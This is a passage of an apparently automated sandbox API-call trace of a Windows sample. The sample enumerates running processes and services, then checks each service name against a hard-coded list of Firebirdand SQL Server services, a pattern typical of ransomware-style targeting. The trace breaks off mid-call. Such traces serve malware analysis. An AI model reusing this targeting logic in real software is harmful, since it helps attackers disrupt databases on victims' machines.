hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.180] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.180] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.180] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.180] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.181] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.181] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.181] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.181] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0177.182] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0177.182] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0177.182] lstrlenW (lpString="cmd.exe") returned 7 [0177.182] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0177.182] lstrlenW (lpString="conhost.exe") returned 11 [0177.183] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0177.183] CloseHandle (hObject=0x3e8) returned 1 [0177.183] Sleep (dwMilliseconds=0x1f4) [0178.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3d3ee10 [0178.274] EnumServicesStatusExW (in: hSCManager=0x3d3ee10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0178.276] GetLastError () returned 0xea [0178.276] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c28) returned 0x4453098 [0178.276] EnumServicesStatusExW (in: hSCManager=0x3d3ee10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4453098, cbBufSize=0x1c28, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4453098, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0178.277] CloseServiceHandle (hSCObject=0x3d3ee10) returned 1 [0178.277] lstrlenW (lpString="AppXSvc") returned 7 [0178.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0178.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0178.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0178.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0178.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0178.277] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.277] lstrlenW (lpString="Audiosrv") returned 8 [0178.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0178.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0178.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0178.278] lstrlenW (lpString="BFE") returned 3 [0178.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0178.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0178.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0178.278] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0178.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0178.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0178.278] lstrlenW (lpString="CDPSvc") returned 6 [0178.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0178.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0178.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0178.278] lstrlenW (lpString="ClickToRunSvc") returned 13 [0178.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0178.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0178.278] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0178.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0178.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0178.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0178.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0178.279] lstrlenW (lpString="CryptSvc") returned 8 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0178.279] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0178.279] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0178.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0178.279] lstrlenW (lpString="DcomLaunch") returned 10 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.279] lstrlenW (lpString="DeviceAssociationService") returned 24 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0178.279] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0178.279] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0178.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0178.279] lstrlenW (lpString="Dhcp") returned 4 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.279] lstrlenW (lpString="Dnscache") returned 8 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.279] lstrlenW (lpString="DPS") returned 3 [0178.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0178.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0178.280] lstrlenW (lpString="DsmSvc") returned 6 [0178.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0178.280] lstrlenW (lpString="DusmSvc") returned 7 [0178.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0178.280] lstrlenW (lpString="EventLog") returned 8 [0178.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0178.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0178.280] lstrlenW (lpString="EventSystem") returned 11 [0178.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.280] lstrlenW (lpString="FontCache") returned 9 [0178.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0178.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0178.280] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0178.280] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0178.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0178.281] lstrlenW (lpString="gpsvc") returned 5 [0178.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.281] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.281] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.281] lstrlenW (lpString="iphlpsvc") returned 8 [0178.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.281] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0178.281] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0178.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0178.281] lstrlenW (lpString="KeyIso") returned 6 [0178.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0178.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0178.281] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0178.281] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0178.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0178.281] lstrlenW (lpString="LanmanServer") returned 12 [0178.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0178.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0178.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0178.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0178.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0178.281] lstrlenW (lpString="LanmanWorkstation") returned 17 [0178.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.281] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0178.281] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0178.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0178.282] lstrlenW (lpString="lfsvc") returned 5 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0178.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0178.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0178.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0178.282] lstrlenW (lpString="lmhosts") returned 7 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.282] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.282] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.282] lstrlenW (lpString="LSM") returned 3 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0178.282] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0178.282] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0178.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0178.282] lstrlenW (lpString="MpsSvc") returned 6 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0178.282] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0178.282] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0178.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0178.282] lstrlenW (lpString="NcbService") returned 10 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0178.282] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0178.282] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0178.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0178.282] lstrlenW (lpString="netprofm") returned 8 [0178.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0178.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0178.283] lstrlenW (lpString="NgcSvc") returned 6 [0178.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0178.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0178.283] lstrlenW (lpString="NlaSvc") returned 6 [0178.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0178.283] lstrlenW (lpString="nsi") returned 3 [0178.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.283] lstrlenW (lpString="PcaSvc") returned 6 [0178.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0178.283] lstrlenW (lpString="PlugPlay") returned 8 [0178.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.283] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.283] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.284] lstrlenW (lpString="Power") returned 5 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.284] lstrlenW (lpString="ProfSvc") returned 7 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.284] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.284] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.284] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.284] lstrlenW (lpString="RpcSs") returned 5 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.284] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.284] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.284] lstrlenW (lpString="SamSs") returned 5 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.284] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.284] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.284] lstrlenW (lpString="Schedule") returned 8 [0178.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.285] lstrlenW (lpString="SecurityHealthService") returned 21 [0178.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0178.285] lstrlenW (lpString="SENS") returned 4 [0178.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.285] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.285] lstrlenW (lpString="Spooler") returned 7 [0178.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.285] lstrlenW (lpString="StateRepository") returned 15 [0178.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0178.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0178.285] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0178.285] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0178.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0178.286] lstrlenW (lpString="SysMain") returned 7 [0178.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0178.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0178.286] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0178.286] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0178.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0178.286] lstrlenW 